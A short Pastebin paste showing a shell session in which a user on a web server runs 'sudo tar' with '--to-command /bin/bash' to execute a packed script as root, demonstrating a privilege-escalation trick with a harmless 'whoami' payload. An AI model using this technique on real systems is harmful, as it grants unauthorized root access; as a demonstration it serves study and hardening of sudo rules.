Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- reyals@reyals-webserver:/tmp$ echo whoami > test.sh
- reyals@reyals-webserver:/tmp$ tar -cvf test.tar test.sh
- test.sh
- reyals@reyals-webserver:/tmp$ sudo tar -xvf test.tar --to-command /bin/bash
- test.sh
- root
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement